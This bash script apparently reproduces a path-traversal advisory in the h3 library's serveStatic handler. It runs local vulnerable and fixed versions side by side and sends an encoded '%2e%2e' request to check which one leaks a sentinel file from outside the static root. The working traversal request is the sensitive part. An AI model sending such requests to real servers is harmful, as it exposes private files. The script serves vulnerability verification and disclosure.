#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
EVIDENCE_DIR="$REPRO_DIR/evidence"
mkdir -p "$LOGS" "$REPRO_DIR" "$EVIDENCE_DIR"

cd "$ROOT"
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

REPOSITORY_URL="https://github.com/h3js/h3"
FIX_COMMIT="0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d"
VULNERABLE_VERSION="1.15.5"
FIXED_VERSION="1.15.6"
MANIFEST_FINALIZED=0
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false

write_failure_manifest() {
  local rc="$1"
  MANIFEST_PATH="$REPRO_DIR/runtime_manifest.json" \
  SERVICE_STARTED_VALUE="$SERVICE_STARTED" \
  HEALTHCHECK_VALUE="$HEALTHCHECK_PASSED" \
  TARGET_REACHED_VALUE="$TARGET_PATH_REACHED" \
  FAILURE_RC="$rc" \
  python3 - <<'PY'
import json, os

def flag(name):
    return os.environ.get(name, "false").lower() == "true"
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "h3 serveStatic static file handler HTTP endpoint",
    "service_started": flag("SERVICE_STARTED_VALUE"),
    "healthcheck_passed": flag("HEALTHCHECK_VALUE"),
    "target_path_reached": flag("TARGET_REACHED_VALUE"),
    "runtime_stack": ["node", "h3"],
    "proof_artifacts": [],
    "artifact_sha256": {},
    "notes": "Reproduction attempt did not complete (exit %s); see logs/reproduction_steps.log" % os.environ["FAILURE_RC"],
}
with open(os.environ["MANIFEST_PATH"], "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2, sort_keys=True)
    f.write("\n")
PY
}

on_exit() {
  local rc=$?
  if [ "$MANIFEST_FINALIZED" -ne 1 ]; then
    write_failure_manifest "$rc"
  fi
}
trap on_exit EXIT

# The prepared project cache is the deterministic checkout/package location.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -r "$CACHE_CONTEXT" ]; then
  CACHE_DIR="$(jq -r 'if .prepared == true and (.project_cache_dir | type == "string") then .project_cache_dir else empty end' "$CACHE_CONTEXT" 2>/dev/null || true)"
fi
if [ -z "$CACHE_DIR" ] || [ ! -d "$CACHE_DIR" ] || [ ! -w "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/h3"
fi
REPO="$CACHE_DIR/repo"
PACKAGE_CACHE="$CACHE_DIR/package/h3-cve-2026-86253"
TARBALL_DIR="$PACKAGE_CACHE/tarballs"
mkdir -p "$PACKAGE_CACHE" "$TARBALL_DIR"

echo "[+] Runtime: $(node --version), npm $(npm --version)"
echo "[+] Cache directory: $CACHE_DIR"

# Keep an immutable upstream checkout in the required cache location and bind the
# diagnosis to the vendor fix. The runtime itself uses the exact published npm
# archives below, whose SHA-256 values are recorded in the runtime manifest.
if [ ! -d "$REPO/.git" ]; then
  rm -rf "$REPO"
  git clone --filter=blob:none "$REPOSITORY_URL.git" "$REPO"
else
  actual_remote="$(git -C "$REPO" remote get-url origin 2>/dev/null || true)"
  case "$actual_remote" in
    "$REPOSITORY_URL"|"$REPOSITORY_URL.git") ;;
    *) echo "[-] Cache repo has unexpected origin: $actual_remote"; exit 1 ;;
  esac
fi

git -C "$REPO" fetch --quiet origin "$FIX_COMMIT"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIX_COMMIT^{commit}")"
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIX_COMMIT^1")"
if [ "$FIXED_RESOLVED" != "$FIX_COMMIT" ]; then
  echo "[-] Fix commit identity mismatch"
  exit 1
fi
# Verify the parent lacks the added normalization and the fix contains it.
SOURCE_DIFF="$EVIDENCE_DIR/source_fix.diff"
git -C "$REPO" diff "$VULN_COMMIT" "$FIXED_RESOLVED" -- src/utils/static.ts src/utils/internal/path.ts > "$SOURCE_DIFF"
if ! grep -q 'resolveDotSegments' "$SOURCE_DIFF"; then
  echo "[-] Expected resolveDotSegments fix hunk not found"
  exit 1
fi
if git -C "$REPO" show "$VULN_COMMIT:src/utils/static.ts" | grep -q 'resolveDotSegments'; then
  echo "[-] Fix unexpectedly exists in vulnerable parent"
  exit 1
fi
if ! git -C "$REPO" show "$FIXED_RESOLVED:src/utils/static.ts" | grep -q 'resolveDotSegments'; then
  echo "[-] Fix missing from fixed commit"
  exit 1
fi

echo "[+] Source fix identity: vulnerable=$VULN_COMMIT fixed=$FIXED_RESOLVED"

fetch_package() {
  local version="$1"
  local expected="$TARBALL_DIR/h3-$version.tgz"
  if [ ! -s "$expected" ]; then
    local tmp_json="$TARBALL_DIR/npm-pack-$version.json.tmp"
    (cd "$TARBALL_DIR" && npm pack "h3@$version" --json > "$tmp_json")
    rm -f "$tmp_json"
  fi
  if [ ! -s "$expected" ]; then
    echo "[-] npm did not produce $expected"
    exit 1
  fi
}

fetch_package "$VULNERABLE_VERSION"
fetch_package "$FIXED_VERSION"
VULN_TARBALL="$TARBALL_DIR/h3-$VULNERABLE_VERSION.tgz"
FIXED_TARBALL="$TARBALL_DIR/h3-$FIXED_VERSION.tgz"
VULN_TARBALL_SHA="$(sha256sum "$VULN_TARBALL" | awk '{print $1}')"
FIXED_TARBALL_SHA="$(sha256sum "$FIXED_TARBALL" | awk '{print $1}')"

install_package_app() {
  local version="$1"
  local tarball="$2"
  local appdir="$PACKAGE_CACHE/app-$version"
  local installed=""
  if [ -r "$appdir/node_modules/h3/package.json" ]; then
    installed="$(node -e 'console.log(require(process.argv[1]).version)' "$appdir/node_modules/h3/package.json" 2>/dev/null || true)"
  fi
  if [ "$installed" != "$version" ]; then
    rm -rf "$appdir"
    mkdir -p "$appdir"
    cat > "$appdir/package.json" <<JSON
{"private":true,"type":"module","dependencies":{"h3":"file:$tarball"}}
JSON
    npm install --prefix "$appdir" --ignore-scripts --no-audit --no-fund
  fi
  installed="$(node -e 'console.log(require(process.argv[1]).version)' "$appdir/node_modules/h3/package.json")"
  if [ "$installed" != "$version" ]; then
    echo "[-] Installed h3 version $installed, expected $version"
    exit 1
  fi
}

install_package_app "$VULNERABLE_VERSION" "$VULN_TARBALL"
install_package_app "$FIXED_VERSION" "$FIXED_TARBALL"
VULN_APP="$PACKAGE_CACHE/app-$VULNERABLE_VERSION"
FIXED_APP="$PACKAGE_CACHE/app-$FIXED_VERSION"

# This helper is created by the primary reproducer on every run, so there is no
# hidden artifact dependency. It launches a real Node HTTP endpoint backed by
# the affected h3 serveStatic implementation and documented filesystem callbacks.
SERVER_HELPER="$PACKAGE_CACHE/server.mjs"
cat > "$SERVER_HELPER" <<'JS'
import { createServer } from "node:http";
import { readFileSync, statSync } from "node:fs";
import { join } from "node:path";
import { pathToFileURL } from "node:url";

const appDir = process.env.H3_APP_DIR;
const root = process.env.STATIC_ROOT;
const port = Number(process.env.PORT);
const role = process.env.ROLE;
const attempt = process.env.ATTEMPT;
const mod = await import(pathToFileURL(join(appDir, "node_modules/h3/dist/index.mjs")).href);
const { createApp, eventHandler, serveStatic, toNodeListener } = mod;
const app = createApp();
app.use(eventHandler((event) => serveStatic(event, {
  getMeta(id) {
    const filePath = join(root, id);
    console.log(`GET_META id=${JSON.stringify(id)} resolved=${JSON.stringify(filePath)}`);
    try {
      const st = statSync(filePath);
      return { size: st.size, mtime: st.mtime };
    } catch {
      return undefined;
    }
  },
  getContents(id) {
    const filePath = join(root, id);
    console.log(`GET_CONTENTS id=${JSON.stringify(id)} resolved=${JSON.stringify(filePath)}`);
    try {
      return readFileSync(filePath);
    } catch {
      return undefined;
    }
  },
})));
const server = createServer(toNodeListener(app));
server.listen(port, "127.0.0.1", () => {
  console.log(`READY role=${role} attempt=${attempt} port=${port} h3=${mod.version || "package-bound"}`);
});
for (const sig of ["SIGTERM", "SIGINT"]) {
  process.on(sig, () => server.close(() => process.exit(0)));
}
JS

WORK="$PACKAGE_CACHE/runtime"
rm -rf "$WORK"
mkdir -p "$WORK/public"
SENTINEL="CVE-2026-86253-OUTSIDE-STATIC-ROOT-7e82b84d"
printf '%s\n' 'ordinary public health response' > "$WORK/public/health.txt"
printf '%s\n' "$SENTINEL" > "$WORK/private-sentinel.txt"

run_attempt() {
  local role="$1"
  local attempt="$2"
  local appdir="$3"
  local port="$4"
  local prefix="$EVIDENCE_DIR/${role}_attempt_${attempt}"
  local server_log="${prefix}_server.log"
  local health_body="${prefix}_health_body.txt"
  local request_file="${prefix}_request.txt"
  local headers="${prefix}_response_headers.txt"
  local body="${prefix}_response_body.txt"
  local status_file="${prefix}_status.txt"
  local pid=""

  rm -f "$server_log" "$health_body" "$request_file" "$headers" "$body" "$status_file"
  printf 'GET /%%2e%%2e/private-sentinel.txt HTTP/1.1\r\nHost: 127.0.0.1:%s\r\nConnection: close\r\n\r\n' "$port" > "$request_file"

  echo "[+] Starting $role attempt $attempt on 127.0.0.1:$port"
  env H3_APP_DIR="$appdir" STATIC_ROOT="$WORK/public" PORT="$port" ROLE="$role" ATTEMPT="$attempt" \
    timeout 30s node "$SERVER_HELPER" > "$server_log" 2>&1 &
  pid=$!
  SERVICE_STARTED=true

  local ready=0
  for _ in $(seq 1 50); do
    if curl -fsS --max-time 1 "http://127.0.0.1:$port/health.txt" -o "$health_body" 2>/dev/null; then
      ready=1
      break
    fi
    if ! kill -0 "$pid" 2>/dev/null; then
      break
    fi
    sleep 0.1
  done
  if [ "$ready" -ne 1 ] || ! grep -qx 'ordinary public health response' "$health_body"; then
    echo "[-] $role attempt $attempt failed its real HTTP health check"
    cat "$server_log"
    kill "$pid" 2>/dev/null || true
    wait "$pid" 2>/dev/null || true
    exit 1
  fi
  HEALTHCHECK_PASSED=true

  local status
  status="$(curl -sS --path-as-is --max-time 5 -D "$headers" -o "$body" -w '%{http_code}' \
    "http://127.0.0.1:$port/%2e%2e/private-sentinel.txt")"
  printf '%s\n' "$status" > "$status_file"
  TARGET_PATH_REACHED=true

  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true

  if ! grep -q 'GET_META' "$server_log"; then
    echo "[-] serveStatic callback was not reached in $role attempt $attempt"
    cat "$server_log"
    exit 1
  fi

  if [ "$role" = "vulnerable" ]; then
    if [ "$status" != "200" ] || ! grep -qx "$SENTINEL" "$body"; then
      echo "[-] Vulnerable endpoint did not disclose the out-of-root sentinel"
      echo "status=$status body=$(cat "$body")"
      cat "$server_log"
      exit 1
    fi
    if ! grep -Fq 'id="/../private-sentinel.txt"' "$server_log"; then
      echo "[-] Vulnerable server log lacks decoded traversal identifier"
      cat "$server_log"
      exit 1
    fi
    echo "[+] CONFIRMED vulnerable attempt $attempt: HTTP $status disclosed $SENTINEL"
  else
    if grep -qF "$SENTINEL" "$body" || [ "$status" = "200" ]; then
      echo "[-] Fixed endpoint unexpectedly disclosed the sentinel (HTTP $status)"
      cat "$server_log"
      exit 1
    fi
    if grep -Fq 'id="/../private-sentinel.txt"' "$server_log"; then
      echo "[-] Fixed endpoint passed an unresolved traversal identifier"
      cat "$server_log"
      exit 1
    fi
    echo "[+] NEGATIVE CONTROL fixed attempt $attempt: HTTP $status, no sentinel disclosure"
  fi
}

# Two clean product attempts on each side, each with a fresh HTTP listener.
run_attempt vulnerable 1 "$VULN_APP" 23851
run_attempt vulnerable 2 "$VULN_APP" 23852
run_attempt fixed 1 "$FIXED_APP" 23861
run_attempt fixed 2 "$FIXED_APP" 23862

IDENTITY_LOG="$EVIDENCE_DIR/target_identity.txt"
NODE_BIN="$(node -p 'process.execPath')"
NODE_SHA="$(sha256sum "$NODE_BIN" | awk '{print $1}')"
ARCH="$(uname -m)"
cat > "$IDENTITY_LOG" <<EOF
repository_url=$REPOSITORY_URL
advisory=GHSA-wr4h-v87w-p3r7
vulnerable_package=h3@$VULNERABLE_VERSION
vulnerable_npm_tarball_sha256=$VULN_TARBALL_SHA
fixed_package=h3@$FIXED_VERSION
fixed_npm_tarball_sha256=$FIXED_TARBALL_SHA
vulnerable_source_parent=$VULN_COMMIT
fixed_source_commit=$FIXED_RESOLVED
node_version=$(node --version)
node_executable=$NODE_BIN
node_executable_sha256=$NODE_SHA
platform=linux
architecture=$ARCH
EOF

# Hash only finalized artifacts: every server has exited and none of these files
# are changed after this point. The still-open diagnostic tee log is excluded.
MANIFEST_PATH="$REPRO_DIR/runtime_manifest.json" \
ROOT_PATH="$ROOT" \
VULN_DIGEST="$VULN_TARBALL_SHA" \
RUNTIME_DIGEST="$NODE_SHA" \
TARGET_ARCH="$ARCH" \
python3 - <<'PY'
import hashlib, json, os
root = os.environ["ROOT_PATH"]
artifacts = ["repro/evidence/source_fix.diff", "repro/evidence/target_identity.txt"]
for role in ("vulnerable", "fixed"):
    for attempt in (1, 2):
        base = f"repro/evidence/{role}_attempt_{attempt}"
        artifacts.extend([
            base + "_request.txt",
            base + "_response_headers.txt",
            base + "_response_body.txt",
            base + "_status.txt",
            base + "_server.log",
        ])
digests = {}
for rel in artifacts:
    path = os.path.join(root, rel)
    with open(path, "rb") as f:
        digests[rel] = hashlib.sha256(f.read()).hexdigest()
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "h3 serveStatic static file handler HTTP endpoint",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["node", "h3@1.15.5", "h3@1.15.6"],
    "target_identity": {
        "repository_url": "https://github.com/h3js/h3",
        "target_digest": os.environ["VULN_DIGEST"],
        "runtime_digest": os.environ["RUNTIME_DIGEST"],
        "platform": "linux",
        "architecture": os.environ["TARGET_ARCH"],
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": digests,
    "notes": "Two vulnerable and two fixed h3 HTTP endpoint attempts; target_digest is SHA-256 of the exact vulnerable h3@1.15.5 npm archive.",
}
with open(os.environ["MANIFEST_PATH"], "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2, sort_keys=True)
    f.write("\n")
PY
MANIFEST_FINALIZED=1

echo "[+] CVE-2026-86253 confirmed through the real h3 serveStatic HTTP endpoint."
echo "[+] Vulnerable h3@$VULNERABLE_VERSION disclosed an out-of-root sentinel twice."
echo "[+] Fixed h3@$FIXED_VERSION rejected the identical request twice."
echo "[+] Runtime manifest: $REPRO_DIR/runtime_manifest.json"
# Exit 0 = issue confirmed; Exit 1 = not reproduced.
